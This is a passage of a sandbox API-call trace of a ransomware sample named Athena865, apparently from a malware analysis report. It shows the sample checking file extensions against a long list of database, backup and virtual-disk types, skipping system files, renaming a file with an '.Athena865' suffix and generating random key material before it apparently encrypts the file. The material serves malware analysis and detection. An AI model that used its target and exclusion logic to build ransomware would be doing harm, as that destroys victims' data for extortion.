lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.311] lstrlenW (lpString="ade") returned 3 [0092.311] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.311] lstrlenW (lpString="adf") returned 3 [0092.311] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.311] lstrlenW (lpString="adn") returned 3 [0092.311] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.311] lstrlenW (lpString="adp") returned 3 [0092.311] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.311] lstrlenW (lpString="alf") returned 3 [0092.311] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.311] lstrlenW (lpString="ask") returned 3 [0092.311] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.312] lstrlenW (lpString="btr") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.312] lstrlenW (lpString="cat") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.312] lstrlenW (lpString="cdb") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.312] lstrlenW (lpString="ckp") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.312] lstrlenW (lpString="cma") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.312] lstrlenW (lpString="cpd") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.312] lstrlenW (lpString="dacpac") returned 6 [0092.312] lstrcmpiW (lpString1="au.htm", lpString2="dacpac") returned -1 [0092.312] lstrlenW (lpString="dad") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.312] lstrlenW (lpString="dadiagrams") returned 10 [0092.312] lstrcmpiW (lpString1="rakHau.htm", lpString2="dadiagrams") returned 1 [0092.312] lstrlenW (lpString="daschema") returned 8 [0092.312] lstrcmpiW (lpString1="kHau.htm", lpString2="daschema") returned 1 [0092.312] lstrlenW (lpString="db-journal") returned 10 [0092.312] lstrcmpiW (lpString1="rakHau.htm", lpString2="db-journal") returned 1 [0092.312] lstrlenW (lpString="db-shm") returned 6 [0092.312] lstrcmpiW (lpString1="au.htm", lpString2="db-shm") returned -1 [0092.312] lstrlenW (lpString="db-wal") returned 6 [0092.312] lstrcmpiW (lpString1="au.htm", lpString2="db-wal") returned -1 [0092.312] lstrlenW (lpString="dbc") returned 3 [0092.312] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.312] lstrlenW (lpString="dbs") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.313] lstrlenW (lpString="dbt") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.313] lstrlenW (lpString="dbv") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.313] lstrlenW (lpString="dbx") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.313] lstrlenW (lpString="dcb") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.313] lstrlenW (lpString="dct") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.313] lstrlenW (lpString="dcx") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.313] lstrlenW (lpString="ddl") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.313] lstrlenW (lpString="dlis") returned 4 [0092.313] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.313] lstrlenW (lpString="dp1") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.313] lstrlenW (lpString="dqy") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.313] lstrlenW (lpString="dsk") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.313] lstrlenW (lpString="dsn") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.313] lstrlenW (lpString="dtsx") returned 4 [0092.313] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned -1 [0092.313] lstrlenW (lpString="dxl") returned 3 [0092.313] lstrcmpiW (lpString1="htm", lpString2="dxl") returned 1 [0092.313] lstrlenW (lpString="eco") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.314] lstrlenW (lpString="ecx") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.314] lstrlenW (lpString="edb") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0092.314] lstrlenW (lpString="epim") returned 4 [0092.314] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.314] lstrlenW (lpString="fcd") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.314] lstrlenW (lpString="fdb") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.314] lstrlenW (lpString="fic") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.314] lstrlenW (lpString="flexolibrary") returned 12 [0092.314] lstrlenW (lpString="fm5") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.314] lstrlenW (lpString="fmp") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.314] lstrlenW (lpString="fmp12") returned 5 [0092.314] lstrcmpiW (lpString1="u.htm", lpString2="fmp12") returned 1 [0092.314] lstrlenW (lpString="fmpsl") returned 5 [0092.314] lstrcmpiW (lpString1="u.htm", lpString2="fmpsl") returned 1 [0092.314] lstrlenW (lpString="fol") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.314] lstrlenW (lpString="fp3") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.314] lstrlenW (lpString="fp4") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.314] lstrlenW (lpString="fp5") returned 3 [0092.314] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.315] lstrlenW (lpString="fp7") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.315] lstrlenW (lpString="fpt") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.315] lstrlenW (lpString="frm") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.315] lstrlenW (lpString="gdb") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.315] lstrlenW (lpString="gdb") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.315] lstrlenW (lpString="grdb") returned 4 [0092.315] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.315] lstrlenW (lpString="gwi") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.315] lstrlenW (lpString="hdb") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.315] lstrlenW (lpString="his") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.315] lstrlenW (lpString="ib") returned 2 [0092.315] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.315] lstrlenW (lpString="idb") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.315] lstrlenW (lpString="ihx") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.315] lstrlenW (lpString="itdb") returned 4 [0092.315] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.315] lstrlenW (lpString="itw") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.315] lstrlenW (lpString="jet") returned 3 [0092.315] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.315] lstrlenW (lpString="jtx") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.316] lstrlenW (lpString="kdb") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.316] lstrlenW (lpString="kexi") returned 4 [0092.316] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.316] lstrlenW (lpString="kexic") returned 5 [0092.316] lstrcmpiW (lpString1="u.htm", lpString2="kexic") returned 1 [0092.316] lstrlenW (lpString="kexis") returned 5 [0092.316] lstrcmpiW (lpString1="u.htm", lpString2="kexis") returned 1 [0092.316] lstrlenW (lpString="lgc") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.316] lstrlenW (lpString="lwx") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.316] lstrlenW (lpString="maf") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.316] lstrlenW (lpString="maq") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.316] lstrlenW (lpString="mar") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.316] lstrlenW (lpString="marshal") returned 7 [0092.316] lstrcmpiW (lpString1="Hau.htm", lpString2="marshal") returned -1 [0092.316] lstrlenW (lpString="mas") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.316] lstrlenW (lpString="mav") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.316] lstrlenW (lpString="maw") returned 3 [0092.316] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.316] lstrlenW (lpString="mdbhtml") returned 7 [0092.316] lstrcmpiW (lpString1="Hau.htm", lpString2="mdbhtml") returned -1 [0092.316] lstrlenW (lpString="mdn") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.317] lstrlenW (lpString="mdt") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.317] lstrlenW (lpString="mfd") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.317] lstrlenW (lpString="mpd") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.317] lstrlenW (lpString="mrg") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.317] lstrlenW (lpString="mud") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.317] lstrlenW (lpString="mwb") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.317] lstrlenW (lpString="myd") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.317] lstrlenW (lpString="ndf") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.317] lstrlenW (lpString="nnt") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.317] lstrlenW (lpString="nrmlib") returned 6 [0092.317] lstrcmpiW (lpString1="au.htm", lpString2="nrmlib") returned -1 [0092.317] lstrlenW (lpString="ns2") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.317] lstrlenW (lpString="ns3") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.317] lstrlenW (lpString="ns4") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.317] lstrlenW (lpString="nsf") returned 3 [0092.317] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.317] lstrlenW (lpString="nv") returned 2 [0092.318] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.318] lstrlenW (lpString="nv2") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.318] lstrlenW (lpString="nwdb") returned 4 [0092.318] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.318] lstrlenW (lpString="nyf") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.318] lstrlenW (lpString="odb") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.318] lstrlenW (lpString="odb") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.318] lstrlenW (lpString="oqy") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.318] lstrlenW (lpString="ora") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.318] lstrlenW (lpString="orx") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.318] lstrlenW (lpString="owc") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.318] lstrlenW (lpString="p96") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.318] lstrlenW (lpString="p97") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.318] lstrlenW (lpString="pan") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.318] lstrlenW (lpString="pdb") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.318] lstrlenW (lpString="pdm") returned 3 [0092.318] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.318] lstrlenW (lpString="pnz") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.319] lstrlenW (lpString="qry") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.319] lstrlenW (lpString="qvd") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.319] lstrlenW (lpString="rbf") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.319] lstrlenW (lpString="rctd") returned 4 [0092.319] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.319] lstrlenW (lpString="rod") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.319] lstrlenW (lpString="rodx") returned 4 [0092.319] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.319] lstrlenW (lpString="rpd") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.319] lstrlenW (lpString="rsd") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.319] lstrlenW (lpString="sas7bdat") returned 8 [0092.319] lstrcmpiW (lpString1="kHau.htm", lpString2="sas7bdat") returned -1 [0092.319] lstrlenW (lpString="sbf") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.319] lstrlenW (lpString="scx") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.319] lstrlenW (lpString="sdb") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.319] lstrlenW (lpString="sdc") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.319] lstrlenW (lpString="sdf") returned 3 [0092.319] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.319] lstrlenW (lpString="sis") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.320] lstrlenW (lpString="spq") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.320] lstrlenW (lpString="te") returned 2 [0092.320] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.320] lstrlenW (lpString="teacher") returned 7 [0092.320] lstrcmpiW (lpString1="Hau.htm", lpString2="teacher") returned -1 [0092.320] lstrlenW (lpString="tmd") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.320] lstrlenW (lpString="tps") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.320] lstrlenW (lpString="trc") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.320] lstrlenW (lpString="trc") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.320] lstrlenW (lpString="trm") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.320] lstrlenW (lpString="udb") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.320] lstrlenW (lpString="udl") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.320] lstrlenW (lpString="usr") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.320] lstrlenW (lpString="v12") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.320] lstrlenW (lpString="vis") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.320] lstrlenW (lpString="vpd") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.320] lstrlenW (lpString="vvv") returned 3 [0092.320] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.321] lstrlenW (lpString="wdb") returned 3 [0092.321] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.321] lstrlenW (lpString="wmdb") returned 4 [0092.321] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.321] lstrlenW (lpString="wrk") returned 3 [0092.321] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.321] lstrlenW (lpString="xdb") returned 3 [0092.321] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.321] lstrlenW (lpString="xld") returned 3 [0092.321] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.321] lstrlenW (lpString="xmlff") returned 5 [0092.321] lstrcmpiW (lpString1="u.htm", lpString2="xmlff") returned -1 [0092.321] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.Athena865") returned 62 [0092.321] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm.athena865"), dwFlags=0x1) returned 1 [0092.324] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\IrakHau.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\irakhau.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.324] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17032) returned 1 [0092.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.324] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.325] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.325] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.325] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4590, lpName=0x0) returned 0x154 [0092.326] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4590) returned 0x100000 [0092.328] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.329] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.329] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.329] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.330] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.330] CloseHandle (hObject=0x154) returned 1 [0092.330] CloseHandle (hObject=0x17c) returned 1 [0092.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.330] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.330] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x423b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Leame.htm", cAlternateFileName="")) returned 1 [0092.330] lstrcmpiW (lpString1="Leame.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.330] lstrcmpiW (lpString1="Leame.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.330] lstrcmpiW (lpString1="Leame.htm", lpString2=".") returned 1 [0092.330] lstrcmpiW (lpString1="Leame.htm", lpString2="..") returned 1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="windows") returned -1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="bootmgr") returned 1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="temp") returned -1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="pagefile.sys") returned -1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="boot") returned 1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="ids.txt") returned 1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="ntuser.dat") returned -1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="perflogs") returned -1 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2="MSBuild") returned -1 [0092.331] lstrlenW (lpString="Leame.htm") returned 9 [0092.331] lstrcpyW (in: lpString1=0x241e89a, lpString2="Leame.htm" | out: lpString1="Leame.htm") returned="Leame.htm" [0092.331] lstrlenW (lpString="Leame.htm") returned 9 [0092.331] lstrlenW (lpString="Athena865") returned 9 [0092.331] lstrlenW (lpString=".dll") returned 4 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2=".dll") returned 1 [0092.331] lstrlenW (lpString=".lnk") returned 4 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2=".lnk") returned 1 [0092.331] lstrlenW (lpString=".ini") returned 4 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2=".ini") returned 1 [0092.331] lstrlenW (lpString=".sys") returned 4 [0092.331] lstrcmpiW (lpString1="Leame.htm", lpString2=".sys") returned 1 [0092.331] lstrlenW (lpString="Leame.htm") returned 9 [0092.331] lstrlenW (lpString="bak") returned 3 [0092.331] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.331] lstrlenW (lpString="ba_") returned 3 [0092.331] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.331] lstrlenW (lpString="dbb") returned 3 [0092.331] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.331] lstrlenW (lpString="vmdk") returned 4 [0092.331] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.332] lstrlenW (lpString="rar") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.332] lstrlenW (lpString="zip") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.332] lstrlenW (lpString="tgz") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.332] lstrlenW (lpString="vbox") returned 4 [0092.332] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.332] lstrlenW (lpString="vdi") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.332] lstrlenW (lpString="vhd") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.332] lstrlenW (lpString="vhdx") returned 4 [0092.332] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.332] lstrlenW (lpString="avhd") returned 4 [0092.332] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.332] lstrlenW (lpString="db") returned 2 [0092.332] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.332] lstrlenW (lpString="db2") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.332] lstrlenW (lpString="db3") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.332] lstrlenW (lpString="dbf") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.332] lstrlenW (lpString="mdf") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.332] lstrlenW (lpString="mdb") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.332] lstrlenW (lpString="sql") returned 3 [0092.332] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.333] lstrlenW (lpString="sqlite") returned 6 [0092.333] lstrcmpiW (lpString1="me.htm", lpString2="sqlite") returned -1 [0092.333] lstrlenW (lpString="sqlite3") returned 7 [0092.333] lstrcmpiW (lpString1="ame.htm", lpString2="sqlite3") returned -1 [0092.333] lstrlenW (lpString="sqlitedb") returned 8 [0092.333] lstrcmpiW (lpString1="eame.htm", lpString2="sqlitedb") returned -1 [0092.333] lstrlenW (lpString="xml") returned 3 [0092.333] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.333] lstrlenW (lpString="$er") returned 3 [0092.333] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.333] lstrlenW (lpString="4dd") returned 3 [0092.333] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.333] lstrlenW (lpString="4dl") returned 3 [0092.333] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.333] lstrlenW (lpString="^^^") returned 3 [0092.333] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.333] lstrlenW (lpString="abs") returned 3 [0092.333] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.333] lstrlenW (lpString="abx") returned 3 [0092.333] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.333] lstrlenW (lpString="accdb") returned 5 [0092.333] lstrcmpiW (lpString1="e.htm", lpString2="accdb") returned 1 [0092.333] lstrlenW (lpString="accdc") returned 5 [0092.333] lstrcmpiW (lpString1="e.htm", lpString2="accdc") returned 1 [0092.333] lstrlenW (lpString="accde") returned 5 [0092.333] lstrcmpiW (lpString1="e.htm", lpString2="accde") returned 1 [0092.333] lstrlenW (lpString="accdr") returned 5 [0092.333] lstrcmpiW (lpString1="e.htm", lpString2="accdr") 